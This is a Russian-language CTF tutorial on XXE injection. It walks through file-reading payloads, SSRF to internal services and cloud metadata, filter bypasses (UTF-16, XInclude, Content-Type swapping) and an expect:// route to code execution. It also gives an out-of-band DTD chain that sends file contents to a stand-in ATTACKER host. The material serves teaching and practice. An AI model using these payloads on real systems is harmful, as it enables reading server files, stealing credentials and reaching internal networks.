
На CTF-площадке YesWeHack Dojo Challenge #34 задача сводилась к обходу чёрного списка ключевых слов (file://, system, entity) в XML-парсере на Python. Решение уместилось в одну команду: iconv -t utf-16le payload.xml | base64 -w 0. Кодировка UTF-16 обошла байтовую проверку — и содержимое /tmp/flag.txt улетело в ответ.
XXE-инъекции стабильно появляются на соревнованиях любого уровня, но русскоязычные разборы обычно заканчиваются на <!ENTITY xxe SYSTEM "file:///etc/passwd">. Blind-эксфильтрация, error-based вектор, обход WAF и нестандартные поверхности атаки — всё остаётся за кадром. Здесь — от базового чтения файлов сервера через XXE до OOB-каналов и обхода фильтров, с готовыми пейлоадами для CTF.
XML-парсер разбирает XML-документ и обрабатывает его структуру. Проблема в том, что стандарт XML включает механизм внешних сущностей (external entities): через конструкцию <!ENTITY> в блоке <!DOCTYPE> можно указать парсеру загрузить данные из файла или URL-адреса. Если парсер обрабатывает внешние сущности — а по умолчанию это делают libxml2, Java DocumentBuilder, Python xml.sax с включённым флагом feature_external_ges — возникает уязвимость CWE-611 (Improper Restriction of XML External Entity Reference). По описанию MITRE CWE, продукт обрабатывает XML-документ, содержащий URI, которые разрешаются в ресурсы за пределами контролируемой зоны. Последствия: чтение данных приложения (конфиденциальность), обход защитных механизмов (целостность), DoS через потребление ресурсов (доступность). Подробнее — в нашем материале про создание ctf заданий.
По классификации OWASP XXE входит в категорию A03:2021 — Injection. В MITRE ATT&CK эксплуатация XXE маппится на Exploit Public-Facing Application (T1190) для первоначального проникновения, Data from Local System (T1005) при чтении файлов и Credentials In Files (T1552.001), когда через XXE достают конфигурации с паролями.
Для CTF-задач механика сводится к трём элементам. DOCTYPE — объявление типа документа, внутри которого определяются сущности. ENTITY — переменная, значение которой загружается из внешнего источника через ключевое слово SYSTEM и протокол file:// или http://. Третий элемент — точка вставки: место в XML, где подставляется значение сущности через синтаксис &имя;. Если приложение возвращает содержимое XML-узла в ответе — атакующий видит результат сразу (in-band XXE). Нет — нужны техники blind XXE.
Отдельная история — атака Billion Laughs (XML entity expansion): DoS через рекурсивное определение сущностей, где каждая ссылается на предыдущую, экспоненциально раздувая объём данных в памяти. В CTF встречается реже, но знать о ней стоит — именно из-за неё некоторые парсеры ограничивают глубину вложенности сущностей.
Самый частый сценарий в CTF — приложение принимает XML на вход через POST-запрос, API-endpoint или загрузку файла и отображает часть данных в ответе. Задача — найти поле, значение которого рефлексируется обратно, и подставить туда внешнюю сущность.
Допустим, приложение принимает XML вида <user><name>test</name></user> и возвращает Hello, test. Поле name — точка инъекции. Пейлоад для чтения /etc/passwd:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user><name>&xxe;</name></user>
Парсер обрабатывает DOCTYPE, загружает содержимое /etc/passwd в сущность &xxe;, подставляет его в <name> и возвращает: Hello, root:x:0:0:root:/root:/bin/bash.... По данным PortSwigger, в реальных приложениях XML-документ часто содержит несколько полей — и не все рефлексируются. Поэтому при тестировании перебирайте каждый узел, подставляя сущность и проверяя ответ.
Ключевые файлы для CTF: /etc/passwd, /etc/hostname, /proc/self/environ (переменные окружения — часто тут и лежит флаг), /flag.txt, /tmp/flag.txt и исходный код приложения. На Java-парсерах, по данным HackTricks, возможен листинг директорий (T1083 по ATT&CK): указываете путь к каталогу вместо файла (file:///etc/) — парсер вернёт список содержимого. Выручает, когда расположение флага неизвестно.
Нюанс с враппером file://: он требует абсолютного пути. Без враппера файл ищется в текущей директории парсера — результат непредсказуем. Конструкция <!ENTITY xxe SYSTEM "/etc/passwd"> тоже работает (путь абсолютный), но враппер делает намерение явным.
Если приложение на PHP, прямое чтение .php-файла через file:// часто ломает XML-парсер: теги <?php интерпретируются как XML processing instruction и вызывают ошибку. Решение — php://filter/convert.base64-encode/resource=index.php. Сущность определяется как <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">. В ответе приходит Base64-строка, декодируем: echo "PD9waHA..." | base64 -d.
Приём работает для любого PHP-файла: config.php, db.php, flag.php. В CTF исходники часто содержат флаг прямо в коде или дают подсказку к следующему шагу.
XXE позволяет не только читать локальные файлы, но и слать HTTP-запросы от имени сервера — это SSRF (Server-Side Request Forgery, A10:2021 по OWASP). В CTF этот вектор используется для доступа к внутренним сервисам, недоступным извне.
Пейлоад: <!ENTITY xxe SYSTEM "http://internal-service:8080/admin">. Если результат рефлексируется — видите ответ внутреннего сервиса. Типичные цели в CTF:
http://127.0.0.1:порт/ — локальные сервисы на loopbackhttp://169.254.169.254/latest/meta-data/ — metadata облачных провайдеров (AWS/GCP/Azure), если задача имитирует облачное окружениеhttp://внутренний-хост/flag — соседний контейнер в Docker-окруженииXXE-SSRF даёт двусторонний канал: значение сущности возвращается в ответе — видите и запрос, и ответ. Не возвращается — blind SSRF: можно триггерить действия на внутреннем сервисе, но результат напрямую не увидеть. Реальный пример за пределами CTF: CVE-2019-12153 в RealObjects PDFreactor (CWE-918) — отсутствие валидации в HTML-парсере позволяло через вредоносный контент обращаться к сетевым и файловым ресурсам от имени сервера.
Когда приложение обрабатывает XML, но не возвращает содержимое сущностей в ответе — прямое чтение файлов невозможно. Это blind XXE, и в CTF он встречается едва ли не чаще классического. Тут нужны out-of-band каналы.
Первый шаг — подтвердить уязвимость. Для этого используются параметрические сущности (parameter entities), определяемые через % вместо &:
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://ваш-сервер.com/test">
%xxe;
]>
Если парсер уязвим, он отправит HTTP-запрос на указанный адрес. Для приёма запросов в CTF подходят Burp Collaborator, interactsh или банальный python3 -m http.server 8888.
Параметрические сущности принципиально отличаются от обычных: они работают внутри DOCTYPE (а не в теле документа), могут ссылаться на другие параметрические сущности и вызываться прямо в DTD. Именно это делает их инструментом для построения цепочек эксфильтрации.
Для эксфильтрации данных нужна цепочка из трёх параметрических сущностей, размещённых на внешнем DTD-файле. Логика: сервер-жертва загружает внешний DTD, тот читает целевой файл и отправляет содержимое в URL-параметре на сервер атакующего.
Файл evil.dtd на сервере атакующего:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM
'http://ATTACKER/?data=%file;'>">
%eval;
%exfil;
Пейлоад в запросе к уязвимому приложению: <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://ATTACKER/evil.dtd"> %xxe;]>. Парсер загружает evil.dtd, выполняет цепочку: %file читает /etc/hostname, %eval формирует сущность %exfil с URL http://ATTACKER/?data=содержимое_файла, %exfil отправляет HTTP-запрос. Данные приходят в access-логе.
Ограничение: многострочные файлы (тот же /etc/passwd) не помещаются в URL. По данным HackTricks, для таких случаев используют FTP-протокол вместо HTTP — FTP-сервер принимает многострочные данные. Готовый скрипт xxe-ftp-server.rb поднимает FTP-листенер и логирует входящее содержимое.
Альтернатива OOB — спровоцировать ошибку парсера, в которую подставится содержимое файла. Техника работает, когда OOB-каналы заблокированы (сервер не может инициировать исходящие HTTP/DNS-запросы), но ошибки парсера возвращаются клиенту. В CTF-тасках с изолированным окружением — нередкая ситуация.
Механизм: параметрическая сущность %file читает целевой файл. Затем %error пытается загрузить file:///nonexistent/%file;. Парсер выдаёт ошибку вида «файл не найден: /nonexistent/root:x:0:0:root:/root:/bin/bash...» — и содержимое оказывается в тексте ошибки. Цепочка строится аналогично OOB: внешний DTD с тремя параметрическими сущностями, загружаемый из пейлоада.
Для этого вектора на сервере-жертве должны существовать файлы с известными DTD. HackTricks описывает метод поиска локальных DTD через перебор стандартных путей (/usr/share/yelp/dtd/docbookx.dtd на Linux и аналоги) — это позволяет строить error-based XXE даже без внешнего DTD-сервера.
Не каждый CTF-таск очевидно принимает XML. Форматы SVG, DOCX, XLSX, PPTX — это ZIP-архивы с XML-файлами внутри. Если приложение обрабатывает загруженные файлы на стороне сервера, XXE-инъекция возможна через эти форматы.
SVG — самый частый вектор в CTF-задачах категории web. SVG-файл — это XML, и если сервер рендерит или валидирует его, внешние сущности обрабатываются. Пейлоад: стандартный DOCTYPE с определением сущности через file:///, внутри <svg> — тег <text>, выводящий значение &xxe;. Если сервер возвращает отрендеренное изображение, содержимое файла буквально рисуется текстом на картинке. Даже если приложение ожидает PNG или JPEG — библиотека обработки изображений может поддерживать SVG, и парсер обработает XML-разметку. По данным PortSwigger, это типичная скрытая поверхность атаки.
DOCX — ZIP-архив, содержащий word/document.xml, [Content_Types].xml и другие XML-файлы. Для инъекции распаковываем DOCX (unzip file.docx), добавляем DOCTYPE с внешней сущностью в один из XML-файлов и запаковываем обратно (zip -r malicious.docx .). Реальный пример за пределами CTF: CVE-2019-0340 в SAP Enable Now (CWE-611) — через загрузку файлов читались локальные файлы сервера.
В CTF-задачах среднего и высокого уровня базовый пейлоад блокируется фильтрами. Техники обхода защиты от XXE требуют понимания того, как именно реализована фильтрация.
UTF-16 encoding bypass — пожалуй, самый элегантный обход чёрных списков. Если фильтр проверяет байты входных данных на наличие строк file://, SYSTEM, ENTITY в ASCII/UTF-8, перекодирование пейлоада в UTF-16 обходит все проверки разом.
Именно этот подход решил YesWeHack Dojo Challenge #34 (CWE-611). Приложение на Python проверяло: if any(x in dataBytes.lower() for x in [b'file://', b'system', b'entity']) — байтовое сравнение. Но парсер xml.sax с feature_external_ges=True корректно обрабатывал UTF-16. Ключевой момент: условие dataBytes[:2] != b'\xff\xfe' (BOM UTF-16 LE) направляло поток обработки в ветку БЕЗ чёрного списка. Решение:
iconv -t utf-16le payload.xml | base64 -w 0
Файл payload.xml содержит стандартный XXE-пейлоад. После конвертации в UTF-16 LE строки file:// и SYSTEM перестают совпадать с ASCII-паттернами фильтра. Парсер по BOM-маркеру определяет кодировку и обрабатывает XML корректно. Красиво, правда?
Подмена Content-Type работает, когда endpoint принимает application/x-www-form-urlencoded или application/json, но серверный код передаёт данные в XML-парсер. По данным HackTricks, замена заголовка на Content-Type: application/xml и отправка XML-тела вместо form-данных открывает XXE-атаку на веб-приложение, которое изначально не выглядело XML-совместимым. Конвертация JSON в XML тоже работает: объект {"search": "test"} заменяется на <?xml version="1.0"?><search>test</search> с добавлением DOCTYPE.
HTML-сущности и UTF-7 — дополнительные варианты из HackTricks. Кодирование ключевых слов через HTML-сущности (system вместо SYSTEM) или использование UTF-7 (+ADw-!ENTITY...) обходит regex-фильтры, не учитывающие альтернативные представления символов. В CTF встречается реже, но в арсенале иметь стоит.
Бывают CTF-задачи, где атакующий контролирует только часть XML-документа — одно поле в SOAP-запросе или значение, вставляемое в серверный XML. Определить или изменить DOCTYPE нельзя, классический XXE невозможен. Тут выручает XInclude — механизм XML для включения внешних документов.
Пейлоад XInclude: <foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>. Его можно вставить в любое значение данных. Если сервер поддерживает XInclude — содержимое файла будет включено в результирующий документ. Атрибут parse="text" критически важен: он указывает парсеру включить файл как текст, а не как XML, предотвращая ошибки при обработке содержимого с XML-спецсимволами.
На основе десятков решённых задач складывается системный подход к эксплуатации XXE-инъекций. Не хаотичный перебор пейлоадов — а чёткая последовательность.
Шаг 1: Найти точку приёма XML. Очевидное — endpoint с Content-Type: application/xml или text/xml. Неочевидное — загрузка файлов (SVG, DOCX, XLSX), SOAP-сервисы, API с JSON (попробуйте заменить на XML). Перехватите запрос в Burp Suite, изучите заголовки и тело.
Шаг 2: Проверить рефлексию. Отправьте XML с простой внутренней сущностью: DOCTYPE с <!ENTITY test "REFLECTED"> и подставьте &test; в каждое поле по очереди. Ищите строку REFLECTED в ответе. Нашли — in-band XXE. Не нашли — переходите к blind-тестированию.
Шаг 3: Проверить обработку внешних сущностей. Замените значение на SYSTEM "file:///etc/hostname" (короткий файл, минимум спецсимволов). Содержимое файла в ответе — XXE подтверждена. Читайте нужные файлы, ищите флаг.
Шаг 4: Blind-проверка. Рефлексии нет — параметрическая сущность с обращением на свой сервер. Отслеживайте входящие запросы через python3 -m http.server, Burp Collaborator или interactsh.
Шаг 5: Эксфильтрация. In-band: прямое чтение файлов через file://. Blind: OOB через внешний DTD (цепочка %file → %eval → %exfil). OOB заблокирован — error-based через несуществующий файл с именем из содержимого целевого.
Шаг 6: Обход фильтров. Базовый пейлоад заблокирован — UTF-16 (iconv -t utf-16le), XInclude (если нет контроля над DOCTYPE), подмена Content-Type, PHP-враппер php://filter для исходников. HTML-сущности и UTF-7 — для regex-фильтров.
Шаг 7: Расширение атаки. После чтения файлов — SSRF к внутренним сервисам, чтение конфигураций с паролями (Credentials In Files, T1552.001), листинг директорий на Java. Если доступен модуль expect в PHP — враппер expect://id даёт RCE.
Несколько практических заметок. Враппер file:// требует абсолютного пути; без него результат непредсказуем. В пейлоадах нельзя использовать символы < и & внутри значения сущности напрямую — если целевой файл содержит XML/HTML-разметку, парсер упадёт с ошибкой. Решение — Base64-враппер для PHP или OOB-канал. Всегда проверяйте несколько путей к флагу: /flag, /flag.txt, /tmp/flag.txt, /home/ctf/flag, /proc/self/environ.
Реальные CVE подтверждают актуальность XXE за пределами CTF. CVE-2018-1000838 — XXE в Autopsy (инструмент цифровой криминалистики) версии <= 4.9.0, вектор CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H (максимальная критичность), CWE-611. Через специально сформированный CaseMetadata XML достигались раскрытие данных, SSRF, DoS и сканирование портов. EPSS-скоринг — 0.0250 при перцентиле 0.8409, выше 84% всех CVE по вероятности эксплуатации. CVE-2019-12154 — XXE в RealObjects PDFreactor (CWE-611): через внешние XML-ресурсы раскрывались локальные файлы сервера. Каждая из этих уязвимостей — прямой аналог CTF-таска, только на production-софте.
Большинство CTF-игроков осваивают базовый <!ENTITY xxe SYSTEM "file:///etc/passwd"> за один вечер и считают тему закрытой. На практике XXE — ворота в несколько техник одновременно: от SSRF до credential harvesting. Задачи на CTF-площадках всё чаще требуют не просто знать синтаксис пейлоада, а понимать, как работает конкретный парсер, какие обёртки он поддерживает и где в цепочке обработки проскакивает bypass. Я вижу устойчивый тренд: авторы CTF-тасков смещают фокус с «вставь готовый пейлоад» на «разберись в коде парсера и найди обход». UTF-16, XInclude, error-based через внешний DTD — не экзотика, а базовый набор для web-категории. Кто ограничивается копипастом готовых списков — застрянет на medium и будет недоумевать, почему стандартный пейлоад не проходит. Если хочешь не просто writeup читать, а пройти всю атаку от парсинга до эксфильтрации с лабами и разбором на каждый кейс — на WAPT эту цепочку проходят в модулях с практическими стендами.
🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».
0 комментариев
Пожалуйста, войдите, чтобы оставить комментарий.
Загрузка комментариев...